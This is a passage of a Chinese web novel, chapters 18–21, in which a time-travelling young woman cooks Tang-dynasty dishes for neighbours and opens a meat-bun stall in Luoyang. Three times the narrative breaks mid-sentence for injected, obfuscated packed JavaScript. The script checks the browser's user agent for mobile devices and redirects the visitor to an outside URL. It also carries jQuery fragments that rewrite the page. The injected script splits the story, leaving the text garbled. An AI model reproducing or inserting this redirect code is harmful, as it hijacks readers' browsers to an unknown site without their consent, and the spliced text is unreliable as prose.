赶着坊门开启，第一波就出门的，大部分是青壮年，想来是外出讨生活的，更喜爱能够填饱肚子的主食，比如胡饼、蒸饼一类。 等到日头逐渐升起，便开始有老幼妇孺出门活动，缒子、毕罗这类小食的销量，也往往集中在这个时段。 看来她日后摆摊儿，也得挑合适的时间，售卖合适的品类才行。 另外就是这几日品尝下来，她发现这坊内的小摊贩们，手艺也太糙了些，主打个能吃就行，别说尹七娘吃得勉强，就连自己也是直皱眉头。 就比如她正在吃的这个油炸的捻头，明明应该是香香脆脆的，结果却被摊主炸糊了……只能挑着没糊的地方小心啃。 还有前几日，她在街边给七娘买的缒子，里面的馅儿也是油腻腻的，七娘吃几口就不愿意再碰了。 虽说价格确实不贵，可谁又不想吃些价廉又物美的呢？同样的价格，自然还是口味为王，尹遥露出自信的笑容。 18. 香酥伽盒 许二郎这日一早，就被家里祖母打发出来买早饭。他刚走到坊门口，就瞧见了尹家姐妹坐在馎饦摊上，他上前腼腆地问候道：“尹家娘子，你们也出来吃早饭了？” 尹遥正在琢磨生意经，闻声抬头一看，见是坊正家的孙子许二郎，忙笑着招呼：“许二哥，是你呀，早安啊。你也是来吃早饭的吧？快坐！” 她的长相属于明艳型，平日里若是发了火竖起眉毛，简直让人退避三尺；可一旦露出笑容，却又能让人如沐春风般，瞬间亲近起来。 如今她朝着许二郎粲然一笑，许二郎感觉自己差点被晃瞎了眼睛，脸憋得通红，恍恍惚惚就坐到了尹家姐妹的桌边…… “店家，烦你再加一碗馎饦。”尹遥又朝着店家道。 许二郎回过神来，道：“三娘，最近还好吧？我前些日子见过康陶了，你若有什么事便来寻我，我一定尽力帮忙。” 尹遥笑应：“一切都好，许二哥放心吧，我有事一定来烦你，不会自己扛着的。对了，我现在就有事儿想问你呢，帮我解答解答如何？” 许二郎一听这话，自是无不应允。尹遥便朝他咨询了一番，这嘉庆坊内的居民数量和职业构成之类的。 这回尹遥问对了人，许二郎对坊内情况可谓是如数家珍。 跟据坊正的记录，嘉庆坊内共有居民约一万人，是属于居民比较多的坊。坊中人员构成颇为复杂，除了土生土长的本地百姓外，还有许多暂时租住于此的。 至于职业，则跟尹遥观察的差不多，有店铺的伙计，也有大户人家的仆役，或是河上跑漕运的工人，还有些则是走街串巷的各色摊贩之类的。 除此之外，因为这儿离宫城和皇城都很远，原本少有达官贵族居住。不过这几年天子和太后久居神都，朝臣们也纷纷跟着置宅，这神都城的人口便比以往多了许多，城中房价与租金随之水涨船高。 也因此，近来坊内还搬来了几户人家，乃是新来神都城赴任的小官吏，租买不到城中心的房子，便只能携家带口的暂住于此，倒也是件新鲜事儿。 经许二郎如此一说，再结合这几日的亲眼所见，尹遥心中已有了个初步的谱儿，又朝他连连道谢，还邀请他有空来沈家做客。 一说到做客，许二郎忽然想起来：“我差点都忘了，阿婆昨儿还说呢，吃了早饭便往你家中走一趟，探望探望沈婆婆……” 话音未落，他又一拍大腿，“哎呀，阿婆还在等着我买早饭，我竟忘记了！” 言毕赶忙告了个罪，掏出几个铜板放在桌上，扔下吃了一半的馎饦，一溜烟儿地跑了。 尹遥忍俊不禁，这许二郎还怪可爱的。她扬声笑道：“那你跟许婆婆中午来我家，咱们一起吃午饭！” “晓得了，我跟阿婆说一声！”随着踢踢踏踏的脚步声远去，街角处传来许二郎的回答。 “得了，太难吃了，咱也不吃了。”牵起妹妹的手，尹遥笑道：“走，回家去，阿姐中午做好吃的！” 自从康陶离开后，尹家姐妹就搬到了侧屋，主屋留给了沈老太太和陆娘子婆媳俩，不过餐桌什么的都在主屋，平日里白天几人也都在主屋活动。 尹七娘一进门，就笑着扑到了沈老太太怀里：“阿婆，我回来啦！我和阿姐给您带了早饭呢！” 说着她又小大人儿似的叹了口气，“唉，就是不大好吃……” 沈老太太被她逗得直笑，又瞅了瞅尹遥手里拿的早点，点点头：“这些玩意儿比起三娘的手艺，自然是差远了。” 几人有一搭没一搭地吃完了早饭，又聊了会儿天，顺便商量中午请许家吃什么，尹七娘挽着陆娘子的胳膊晃来晃去，撒娇道：“舅母，七娘想吃你炸的伽盒呢！” 陆娘子最近正痴迷于下厨，闻言一脸跃跃欲试：“真的？舅母这就去给你做！” 看着陆娘子迫不及待钻进了厨房，尹遥点了点尹七娘的鼻尖，笑眯眯道：“小馋猫，你还挺会给舅母安排活儿的。” 尹七娘嘿嘿笑了一声，又调皮地吐了吐舌头。 尹遥走进厨房时，陆娘子刚洗好了两根茄子，正准备切成片儿：“三娘，你看落苏切成这个薄厚行吗？” 陆娘子口中的落苏就是茄子，也被叫做“伽子”，是尹遥前几日在卖菜翁那里采买的。 尹瑶看了看笑道：“舅母，这落苏比较细长，要斜着下刀每片才会大一些，不然夹不了多少肉馅儿。另外切的时候，每两片不要切断，留一点儿连在一起的，下锅炸就不会容易散架了。” 陆娘子听了这些厨艺小窍门，连连称是，马上低头照单整改。看她很快上手，尹遥也开始忙自己的活儿。 先取了两块猪肉，其中前腿肉剁成肉馅儿，按照前些日子炸藕盒的肉馅儿配方，如法炮制地加料搅拌上劲儿，待会儿陆娘子会拿去包茄盒。 另外还有块上好的里脊肉，则是平摊在案板上，用刀背轻轻拍松，然后切成一条条均匀的肉段，再加入米酒、粗盐、花椒末，打入一个鸡蛋，尹遥用手将肉段抓匀，放在旁边腌制，待会儿拿来做道糖醋里脊。 “舅母，等下这个肉段儿腌好了，你也帮我裹上生粉炸一下可以吗？记得要先小火炸一遍，捞出来再中火复炸一遍，这样才会酥脆好吃。” “裹生粉，小火炸，再中火复炸……好嘞，三娘放心吧，舅母记住啦！” 说起来陆娘子的厨艺天分还真是不错，她以前虽然没什么机会下厨，但自从那日学会了炸藕盒，又经过尹遥的几番指导，如今对这种油炸的食物已经是有模有样了，至少不会发生今儿路边摊上，把个捻头都炸糊了的“惨剧”。 这边交给陆娘子，尹遥又去了院子里。前几日跟老翁买下来的蔬菜，已经都整齐地堆在了院子一侧。其中还包括八十斤的大白菜，正一棵棵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490257|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平摊在地上。 只不过唐朝时的白菜还没有经过选育，个头都小的很，一棵也就一两斤重，与其说是小棵的大白菜，倒更像是大棵的娃娃菜。 如今马上要进入冬天了，大白菜也是中原地区越冬的常备蔬菜，眼前这几十斤远远不够一家子冬天的消耗，尹遥已经跟老翁定下了，还要再买个几百斤才行，到时候一部分腌成酸菜，另一部分储存起来慢慢吃。 想到这里，尹遥又琢磨着，眼见着天气越来越冷了，看来得在院子里挖个菜窖才行，不然再过些时日，放在院子里的菜便要冻伤了。 不过这些还都是后话，她这会儿来院子里主要是拿山药的。方才她又答应了尹七娘，中午要做赤豆薯蓣糕。 这薯蓣也就是山药，算得上是一种药食同源的食材。比如在《神农本草经》中，就曾说其“久服耳目聪明，轻身不饥，延年”，《本草纲目》也说它“益肾气，健脾胃”，因此正适合老人小孩秋季温补。 尹遥前几日买的是上好的铁棍山药，也叫做“淮山药”，正是这洛州境内有名的特产之一。铁棍山药顾名思义，外形如同铁棍般又长又直，每一根都足有半人高，水分含量少，不仅营养丰富，而且口感面甜、十分美味。 只不过山药虽好，却也不能多食，否则反倒容易上火，尹遥便只拿了两根。生山药直接去皮会有粘液，粘在手上极痒，因此她去井边洗干净后，便直接切段放入锅里大火蒸一刻钟，待到煮好了再剥皮。 一早儿出去前，尹遥已将赤豆泡好，这会儿算算时间也差不多了，便捞出来放到小陶瓮中加水煮熟。 家中的厨房灶台有两个灶眼，平时尹遥若是煮些小东西，也会在旁边再支个小炉子架着陶瓮煮，这样也比大锅要便捷许多。 这会儿陆娘子的油锅已经架上，她把裹好生粉的肉段一个个下入锅中，随着油花的翻滚，肉段也变得金黄，飘在油锅上面，又用筷子捞出来，整齐地摆在锅沿的晾架上，准备二次复炸。 尹七娘又摸进了厨房，道：“舅母，阿姐，许婆婆和许二哥来啦，正在屋里同阿婆说话呢！” “晓得了，我们去打个招呼，”尹遥应道。陆娘子也摘下了围裙，又用筷子架了个炸好的肉段儿，递给尹七娘，笑道：“七娘快尝尝，舅母今儿这肉段儿炸的如何？” “鲜香酥脆，外焦里嫩，舅母手艺越发好啦！”伴随着尹七娘的彩虹屁，二人走进了房间。 许婆婆抱着沈老太太，眼泪汪汪说着近来发生的事儿：“我的老姐姐啊，你说你们家怎么就出了这么大的事儿？苦命的二娘啊！” 她又抹了把眼泪道，笑道：“不过，好在大郎大难不死，我看三娘也是个立得住的，姐姐的福气想必还在后头！” 两个老太太抱头痛哭了一场后，几人这才相互见了礼，许婆婆忽然一拍大腿：“差点忘了，二郎，咱们带来的东西呢？” 19. 赤豆薯蓣糕 见这丢三落四得如出一辙的祖孙俩，尹遥笑着摇了摇头。刚进屋的许二郎忙抬起手：“阿婆，鸡我方才留在院中了，其他的都在这儿呢。” 许婆婆又朝沈老太太道：“老姐姐，我这上门也不知带点啥好，就给你拎了两只鸡，又带了点儿鸡蛋和……”说到这儿，她忽然放低了声音，带着些笑意道，“还带了点儿牛肉！” 本朝有令禁止屠宰耕牛，因此百姓们很少有机会能吃到牛肉，平日里都是以鸡肉、羊肉、猪肉为主。但律法也规定，若耕牛意外死亡，则不追究责任。 因此若是家中有乡下亲戚，偶尔倒也能吃到些“意外”死亡的牛肉，只不过即便如此，百姓们也大都是关门吃牛，以免节外生枝惹出麻烦。 这不，尹遥都来到大唐这么久了，还没吃过牛肉呢！ 看到两条纹理这么漂亮的牛肉，她不禁眼睛一亮，十分雀跃地道了谢，抬手接过拿出去放好。许二郎看着她兴冲冲的背影，一时有些出了神。 两个老太太眼睛尖得很，当下心照不宣地交换了个眼神，一同笑了起来。 尹遥刚到厨房里放好了牛肉，又把煮好的山药和红豆都捞出来晾在一边，往陶瓮里倒了水，准备熬制糖浆。 这时，她听到外面一阵扑棱棱的声音，听着像是什么东西在飞。 什么东西在飞？她愣了一下，忽然想起来，方才许家祖孙口中“留在院中的两只鸡”，一时间满脑子问号： 鸡？许二郎留在哪里了？刚才自己经过院中也没看到啊？ 她赶忙跑出厨房，只见两只威风凛凛的…… 对，就是威风凛凛的鸡，正在院中央……掐架？ “咯咯哒！” “喔喔喔！” “咯咯咯咯哒！！！” “喔喔喔喔喔！！！” 其中一只体型高大、毛色艳丽，颈部和尾部长着五颜六色的尾羽，头上还顶着个又大又鲜红的鸡冠，看着精神极了。 另一只稍微小一些，但长得极为敦实粗壮，正昂着头跟另一只对掐！ 两只鸡从院中央打到了房檐上，从房檐上又啄到了白菜堆里，直啄得羽毛满天飞，扬起了一院子的尘土。 看得尹遥眼前一黑一黑又一黑，只想仰头问苍天：“不是，这公鸡和母鸡怎么还能打起来啊！” “怎么了怎么了？”听到动静，陆娘子和许二郎也从正屋冲了出来。 看着这惨烈的战场，许二郎傻了眼，喃喃道：“我……我分明是绑好了……放在院子角落的啊？” 还是陆娘子先缓过神儿来，从旁抄起个筛麦麸的簸箕，趁着两只鸡咬在一起时，纵身一跃，将簸箕倒扣在了它俩上面，又合身扑在那簸箕上。 两只鸡被扣在她身下，还一直扑棱棱地掐架，可见是真有活力，都快按不住了！ 尹遥见状也赶紧跑过去，帮她一起压着那簸箕，许二郎又搬了块大石头压在上面，这才把两人解救出来。 三人从地上爬起来，都是抹了把冷汗。尹遥心有余悸：“这样儿也不行吧，一会儿该不会给掀了吧？” 许婆婆和尹七娘这会儿也出来了，瞧着自家孙儿惹出的祸，许婆婆恨铁不成钢：“二郎，快想想办法啊！” 今儿阿婆说要去沈家拜访，让许二郎挑两只鸡带上，他便兴冲冲从自家鸡窝里挑了两只长得最漂亮、最建硕、精神头儿最足的鸡，还寻思着正好一公一母，公的可以留着打鸣报晓，母的则是养着下蛋，岂不是两全其美？ 结果没成想，这两只鸡也是精神头儿过于足了，路上倒拎着时还算老实，一放到沈家院子里就开始互啄，把草绳都给啄断了，又在沈家上演了一场全武行，这给许二郎悔的哟！ 被自家阿婆吼了一嗓子，他手足无措地环顾了一圈儿，寻思着该怎么弥补过失，终于瞧到院外有棵大柳树，便跑了出去，折下一大把柳条又跑回来，坐在院中开始埋头编鸡篓。 只见他手脚灵活，不过片刻便编出了小半个。 见状许婆婆放下心来，朝尹遥和陆娘子笑道：“这儿有婆婆看着，保证不会再出岔子了。” 尹七娘也踢踢踏踏地跑到了院子中，好奇地蹲在簸箕旁，捡了根小木棍儿戳那两只鸡：“阿姐，这鸡好活泼哦！没事儿，七娘也看着呢！” 尹遥失笑，直道无妨，又叮嘱七娘仔细些，别被鸡啄了，这才掸了掸身上的尘土，跟陆娘子一同返回厨房。 小陶瓮里的水早就烧开了，正咕嘟咕嘟地往外冒蒸汽，她往里加了些饴糖，抽出些柴改成中火不停搅拌，熬出一锅浓浓的糖浆。 她又朝窗外看去，这么会儿功夫，许二郎已编好了一个鸡篓，正小心翼翼把簸箕掀开一条缝，尹七娘胆子倒是大得很，一把便将那母鸡抓出来，塞进了篓子里。许二郎又一抽最上面的柳条，将口子扎紧了。 两只鸡分开后也消停了，尹七娘兴致勃勃地左瞅瞅右瞅瞅，嘴里还不知道在嘀嘀咕咕什么，许二郎也继续编第二个鸡篓，尹遥放下心来，专心投入到烹饪中去。 用勺子柄将山药小心去皮，放入石钵中，再加入煮好的红豆和糖浆，一同捣碎成泥，盛入模具中，一个个倒扣在盘子里，软糯又甘甜的赤豆薯蓣糕就做好了。 陆娘子那边炸好了肉段儿，继续下锅炸茄盒，尹遥也开始烹制糖醋里脊。 起锅热油，待油微微冒烟，倒入事先用米酒、糖、香醋、粗盐、葱姜、生粉调好的芡汁儿，快速翻炒，再加入小勺高汤。 这高汤还是她昨儿用猪脊骨提前熬的，这会儿也重新烧开了，味道鲜得很。 如今这厨房里用的都是陶瓮陶釜，蒸煮倒不在话下，但陶器不能长时间干烧，导热也不够快，煎炒就勉强了些，火候会差点儿意思。 尹遥琢磨着，如今先凑合着，等自己有钱了，还是得去打口铁锅才行。 只不过在古代铁矿可是国家管制品，民间流通很少，因此价格十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504378|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂贵。打一口铁锅怕不是要花上几贯钱，还得努力赚钱才行啊！ 她手上不停，快速下入炸好的肉段儿，翻炒均匀后，每一根都裹满了金黄色的芡汁儿，看得人口水大动，盛出来再撒上些芫荽，尹遥端起盘子笑道：“开饭啦！” 许二郎也编完了第二个鸡篓，将那只大公鸡也收了进去，把两个鸡篓并排放在了院墙边儿，搓着手憨笑道：“三娘，今儿是我大意了，实在是对不住啊，我下午再帮你围个鸡舍吧！” 许婆婆则是戳着自家孙儿的额头，吩咐道：“待会儿吃完饭，你就去给三娘围鸡舍！” “你们可别说，这斗鸡还挺有趣儿的，平日里想看还得花钱呢！”尹遥并不将这小插曲放在心上，笑着调侃道。 尹七娘还依依不舍地瞧着那两只鸡：“阿姐，咱们家以后是养着它们吗？” “没错儿，日后喂鸡和捡鸡蛋的活儿就交给你了，如何？”尹遥监督妹妹洗净了手，又笑道。 尹七娘高兴地蹦了起来：“好耶！” 糖醋里脊、香酥伽盒、猪骨汤、赤豆薯蓣糕，许家祖孙俩看着一桌丰盛的菜肴，惊讶得合不拢嘴 许婆婆拍拍沈老太太的手臂，笑道：“这都是三娘做的？看来你们沈家的厨艺是有传人了啊！” 尹遥却不居功，称今儿这菜有一大半都是舅母的功劳呢，陆娘子赧然：“儿媳哪会什么厨艺，还不是三娘教我？否则啊，我连锅铲怎么拿都不知道呢！” “别相互夸嘴了，吃饭吧！”沈老太太笑瞪了二人一眼，打断了这对舅甥兼师徒间的相互吹捧，“妹妹，二郎，快尝尝味道如何？” 许二郎夹了块糖醋里脊放进嘴里，一嚼之下只听咔嚓一声，裹的面糊被炸的极其酥脆，里面的肉段儿又是嫩嫩的，夹杂着酸甜的汤汁儿，一齐在口中爆开，把他香得直迷糊。 他狼吞虎咽地吃了下去，又夹了一块放在口中，慢慢地品了半天，脸上露出幸福的神色，夸赞道：“外焦里嫩，酸甜可口，回味无穷啊！三娘真是好手艺！” 许婆婆笑道：“我家这二郎啊，从小就喜欢吃酸的甜的，这回可是让他享受到美味了！” 说着自己也盛了块赤豆薯蓣糕在碟子里，用筷子夹了一点儿送入口中，最开始还不敢用力，只轻轻咬了一口，却发现竟然入口即化，甜糯的薯蓣融化在口腔中。 她感慨道：“老婆子年岁大了，牙口不行了，这糕点倒是又软又糯，嚼都不用嚼，我吃着受用得很。” 尹遥给每个人都盛了碗猪骨汤，笑道：“这赤豆薯蓣糕最是温补，不仅可以增强脾胃，还可以改善视力听力，长期吃还能延年益寿，待会儿我再给您装点儿带回去，给许阿翁也尝尝！” “三娘真是有心了！” 沈老太太又问起，怎么没见许家大郎。许婆婆一脸自豪：“我家大郎如今啊，正在学院中苦读，准备院内的选拔考试，若是能侥幸通过，就可以参加年底的省试啦！” 20. 鲜肉大包（一） 沈老太太当即赞道：“我们当年搬走的时候，你们家大郎才那么一丁点儿大，就已经能看出来是个聪明孩子，果不其然如此争气，将来必定前途无量！” “借老姐姐吉言，”许婆婆笑着谢了，又瞧了一眼许二郎，叹道：“可惜二郎在学业上，就没有他阿兄那般有天赋，读书一向稀松平常，性格也是有些毛躁，这不方才还闯了祸？你也知道，我那儿子没得早，如今二郎便留在家中帮忙，待他阿翁年岁大了，就把坊正的位置传给他。” 她又朝尹遥道：“三娘日后若有什么需要帮忙的，尽管找你二哥，他虽读书一般，但手艺却很好，什么修屋补房的，都是拿手活儿。对了，我记得你们这院子是不是还缺个菜窖来着？包在他身上就是！” 许二郎忙点头应道：“我下午先帮三娘围个鸡舍，菜窖明儿一早就带人来挖，三娘准备挖个多大的？” 尹遥本来就打算挖个菜窖，这下自然喜出望外，忙又道了谢。 后面又聊起来，尹遥准备摆摊儿卖早点，许婆婆露出个果不其然的表情：“我方才一听二郎说晨间碰到了你们姐俩，还说你问了他坊内情况，就知道你的想法啦！瞧，我已让我们家老头子做好了核准券，这不，都给你带来了！” “多谢许婆婆！”尹遥十分意外，忙起身接过。她原本还想着明儿去坊正处办理营业许可，想不到许婆婆竟直接给她带过来了：“那我明儿去您家，把这个月的税钱交了。” 这几日她一直泡在街边摊儿上，早跟摊主们打听清楚了，大唐的百姓想从事商业活动，除了要先通过官府的批准外，还要每月缴纳一定的税钱。 在洛阳城的南北两市中开店，需要每贯收入缴纳二十文的陌钱，不过若是在坊中架设这种小餐饮摊子，便只需每月缴纳固定的“商税”即可。 当然，若是走街串巷的挑货郎，连这笔钱都能免掉。但尹遥毕竟是个女子，每日挑货走街串巷什么的，还是太不现实了，在街边支摊儿才是正理。 许婆婆摆了摆手：“咱们这嘉庆坊中，商税是每月三百文，虽听着不多，但你们近来手头肯定吃紧，我也知道老姐姐的脾气，若我说替你付了，你也一定不肯，那便索性先赊着，也不急于这一时，待年底了再交齐就行。” 沈老太太感念道：“妹妹如此替我家着想，我这一时倒不知该如何是好了。” “老姐姐说的哪里话，你家当年发达的时候，你也从没忘了我呀！十几年来，你们大郎逢年过节都来送一车一车的东西，如今你家出了事儿，我又怎么能袖手旁观？那我成什么人啦，你以为我是隔壁韦家那个吗？” “好生生的你提她干嘛，前几日她还来我家了，这么多年真是毫无长进。”沈老太太被许婆婆逗笑了，又提起韦家的孙子，“说起来还得谢谢你家二郎，要不是他那日救了我们三娘，她搞不好要吃大亏……” 许婆婆也一脸气愤：“这个韦大，整日里在街坊间惹是生非，简直比他那个阿婆还要恶劣，我看他早晚要自食恶果！” “罢了罢了，不提那些不相干的人了……”沈老太太头痛地摆摆手，又叹道，“不管怎么说，锦上添花容易，雪中送炭却难，妹妹的情谊我记在心里了。” “好啦，老姐姐就别跟我客气了。”许婆婆握着沈老太太的手，忽然想起来，“对了，三娘摆摊儿，是准备卖什么？” …… “鲜肉蒸饼，热腾腾的鲜肉蒸饼！来瞧一瞧看一看哟，物美价廉哟！吃饱吃好，一日没烦恼！” 清晨的嘉庆坊内，坊门还没开，西门内的早点摊主们便已到了，支摊儿的支摊儿，摆桌子的摆桌子，忙得不亦乐乎，准备着待会儿售卖的早点。 很快众人便发现，今儿费记馄饨摊儿的一旁，还多出来个新摊子，摊主是个年轻的小娘子，长得十分漂亮。 一架木板制成的推车固定在街边，推车正中央架了一口大瓮，下面柴火烧得旺旺的，上面则是盖了一个竹制的双层蒸笼，此刻正往外冒着雾蒙蒙的白烟。 小娘子正脆生生吆喝着，有韵律的年轻女声伴着白烟一起，吸引了早起外出讨生活的百姓们。 那推车上还挂着一幅幌子，上面写着“沈记”二字，下面则是垂着个圆圆的小木饼，最底下的木铃铛随着微风轻轻摇曳作响。 这幌子是尹遥前两日特意找工匠订做的，样式就是按照华阴县沈记食店的招牌所制。她做好后拿回来，沈老太太见了，笑叹当年沈老爷子做挑货郎时，挂的招牌也是长这个样儿。 想来当初姐妹二人的亡母沈娘子，亦是参照了小时见过的自家阿爹的摊位招牌，如今尹遥又再一次继承了下来。 “蒸饼出锅喽！”尹遥又吆喝了一声，把蒸笼盖掀开一条缝。一阵浓厚的肉香，伴随着雾腾腾的热气，瞬间一同飘散了出来。 她用筷子夹了一个圆圆的蒸饼，那蒸饼面皮儿发的极好，白白胖胖的，上面还有十八道褶，捏得漂亮极了。她将蒸饼套在一个干净的麻纸袋中，又仔细吹了吹，才递给身边的小小娘子。 唐代的蒸饼，是泛指各种上笼蒸制的发面面食，包括有馅儿的和没馅儿的，馒头、包子之类的，都叫做蒸饼，今日尹遥售卖的蒸饼，正是足有两个拳头大小、朴实无华的——鲜肉大包子！ 王二是个住在坊中的单身汉，每日清早都会从西门出去，往洛河码头搬货讨生活。他家中既没老的又没小的，成日里也不开火，在小摊儿上买点早饭随便吃吃，是他每日的习惯了。 “小娘子，你是新来的吧？”今儿看到这漂亮小娘子支的新摊子，还有热气腾腾的蒸饼，他不免好奇凑了过来，“这是什么蒸饼啊，怎么卖的，好吃不？” 尹遥身旁那扎着两个可爱的丸子头，长得跟白面团儿似的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508304|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小娘子，自然就是尹七娘。 此刻她正双手捧着刚出炉的蒸饼，边吹边一口口咬着，听见汉子这话便答道：“郎君放心，我阿姐的蒸饼那可是……呼，呼，好吃极了！肉又鲜又香，呼，那叫一个松软可口！” 见她被烫着了还急着吃，尹遥拍了拍她的头，道：“七娘，不许吃这么快，好好吹了才能吃。” 见自家妹子乖乖听了话，她又转朝自己的潜在客户笑道：“郎君，我这是鲜肉蒸饼，用上好的豕肉做的，这么大一个里面全是肉馅儿，既美味又管饱呢！您尝一个吧？您看看我这价牌儿，纯鲜肉的是四文钱，鲜肉菘菜的只要三文。” 一听是豕肉，不光是王二，还有几个看热闹的百姓也都嘘了一声，那玩意儿腥臊得很，简直难以下咽…… “虽说是豕肉，但我仔细处理过的，保证没有一丝腥膻味儿。”尹遥笑着解释。 见众人均是一脸不信，她便从锅中夹出一个蒸饼，也用纸包好了，递给了那问话的汉子，又一次祭出自己的杀手锏：“这样吧郎君，我拿给您一个先尝尝。若是不好吃，你便直接丢了，我不要钱，如何？” 王二将信将疑地接了过来，又小心地闻了闻，好像是没闻到什么腥臊味儿：“真的不好吃不要钱？” 听到这话，尹七娘停下了埋头苦吃，抬头脆生生道：“我阿姐从来不骗人，郎君你快尝尝，好吃着呢！我也从来不骗人的！”说完，又是啊呜一口，口中吃得津津有味。 王二见这小小娘子吃得实在欢快，不免被蛊惑着，犹犹豫豫地咬了一小口…… 唔！他瞬间瞪大了眼睛！ “这不能好吃吧？你看他那个表情哟！”见王二咬了一口就愣住了，一个围观的妇人一脸“果然如此吧”的表情，高声叫道。 “豕肉本就难吃的很，偏你不信邪还要试，是不是因为这小娘子漂亮，王二郎你倒说说呀？”又有个跟他相熟的男子调侃道。 “要是换了我，白送我都不要，豕肉蒸饼……谁要吃啊？”另一个围观的食客，更是作势捏了捏鼻子，露出一脸的嫌弃。 “我看小娘子的摊位就是不行，还不如去买陈家娘子的蒸饼呢！”还有个食客，左右瞅了瞅沈记蒸饼和费记馄饨摊儿，啧啧了两声刻薄道。 隔壁馄饨摊儿的年轻摊主也在瞧热闹，听了这话柳眉倒竖，抄起锅勺怒道：“小娘子怎么啦！你倒是给我说说？” 正在围观人群七嘴八舌的时候，却见这王二像是才反应过来似的，口中迫不及待地咀嚼了几下，将那口蒸饼咽了下去。 然后他又举起手中的蒸饼，狠狠地咬了一大口，三下五除二嚼咽下肚，又是一大口，不过眨眼功夫，他手上的一整个蒸饼竟已全吃光了！ 他从口袋中摸出六文钱，一把丢进了推车上空着的钱筐里，又道：“小娘子，再给我来一个鲜肉蒸饼！” 21. 鲜肉大包（二） 见王二狼吞虎咽地吃完，还又掏钱买了一个蒸饼，周围人惊讶地议论了起来： “这是怎么回事儿？难不成豕肉蒸饼还真好吃？” “不可能吧，豕肉若是能好吃，那鞋底子都能是美味佳肴了！” “这王二该不会是跟小娘子串通好了吧？骗人的吧……” “也不至于吧……这小娘子新来的，王二认识她吗？” 尹遥并不辩驳，只是笑眯眯又夹了个蒸饼递过去。 没理会这些闲言碎语，王二埋头又啃了一大口蒸饼。这一口下去，只觉得蒸饼内的汁水争先恐后地冒了出来，不但没有带出一丝腥臊，反而嘴里到处都是肉汁的香味儿，真可谓是齿颊留香！ 再嚼一嚼，面皮也十分有嚼劲儿，而且里面的肉馅儿不是剁成肉泥一般细烂，而是能吃得出一颗一颗的肉粒，肉粒里面也充满了肉汁儿，咬一口就爆出大量汁水，都快把他香迷糊了…… 眼前这食客的反应一点儿都没出乎尹遥意料，毕竟这鲜肉大包子她可是下了好大一番功夫的！ 她先是特意选了肥瘦分布均匀的上好猪腿肉，七分瘦三分肥这个比例，既能保证肉馅儿鲜嫩多汁，又不会让它过于肥腻，可谓是先赢在了起跑线上。 至于食客们担心的猪肉腥臊问题，则是提前用盐水浸泡搓洗出血水，然后又用葱姜水和米酒腌制，拌馅儿的时候还加入了磨碎的花椒粉和姜末儿，几番加成之下，这肉也自然就不会再腥臊了。 剁馅儿时又是按照粗斩细剁的原则，让肉馅儿在细腻的同时，还保留了一粒粒的颗粒感，嚼起来会格外筋道。 更何况她还按照灌汤包的做法，专门将猪皮处理干净，熬了一大锅猪皮冻，冷却后切成丁拌入到肉馅儿中，这样蒸出来的肉包子，不仅鲜香美味，更是口□□汁儿！ 选肉、去腥、剁馅儿、灌汤，这四大法宝一祭出，这鲜肉大包子怎么可能不受欢迎？肯定是吃了一口想吃第二口，吃了一个想吃第二个嘛！ 果不其然，三口两口又吃完了一大个儿蒸饼，王二仍是意犹未尽地抹了抹嘴巴，满足地摸了摸肚子，道：“小娘子，再给我来三个，我今儿一天的饭都一并解决了！” 尹遥笑道：“郎君要不要尝尝豕肉菘菜的，也好吃得很呢！要么我给您拿两个纯肉的，再拿一个豕肉菘菜的。您既然是我第一个主顾，咱们也算有缘，这菘菜的就算我送的，一共六文钱，如何？” 尹遥折扣打得爽快，王二应下得也极爽快：“成，谢谢小娘子了！” 方才调侃他的那个男子叫道：“王二，这蒸饼真好吃还是假好吃啊？” “自然是真好吃，你爱信不信！”王二扔下一句话，把蒸饼揣在怀里，兴冲冲离开了小摊，那背影看着都充满了干劲儿。 男子瞅瞅这小摊子，又瞅瞅王二的背影，嘀咕道：“他今儿胃口怎么这么好，平日不都吃得勉勉强强的么？得，小娘子也给我拿个蒸饼，要豕肉菘菜的。” “嚯，确实好吃啊，王二没骗人！连这菘菜里都是肉汁儿，太香了！”男子接过肉包子，咬了一口后，便竖起大拇指赞道，“小娘子好手艺！给我再来两个菘菜的，带去给工友尝尝！” 这下连方才在一旁说风凉话的中年妇人，也忍不住凑了过来：“小娘子，你那纯肉的给我来一个。说好了不好吃不要钱，是吧？” 尹遥笑应了一声递给她，她接过后咬了一口，还不待咽下去就又要了三个，说是这么好吃，得拿回家给家人尝尝！ 如此这般，尹遥的摊位前发生了人传人现象： 将信将疑买一个，真香，再来俩；下一个将信将疑买一个，真香，再来俩…… 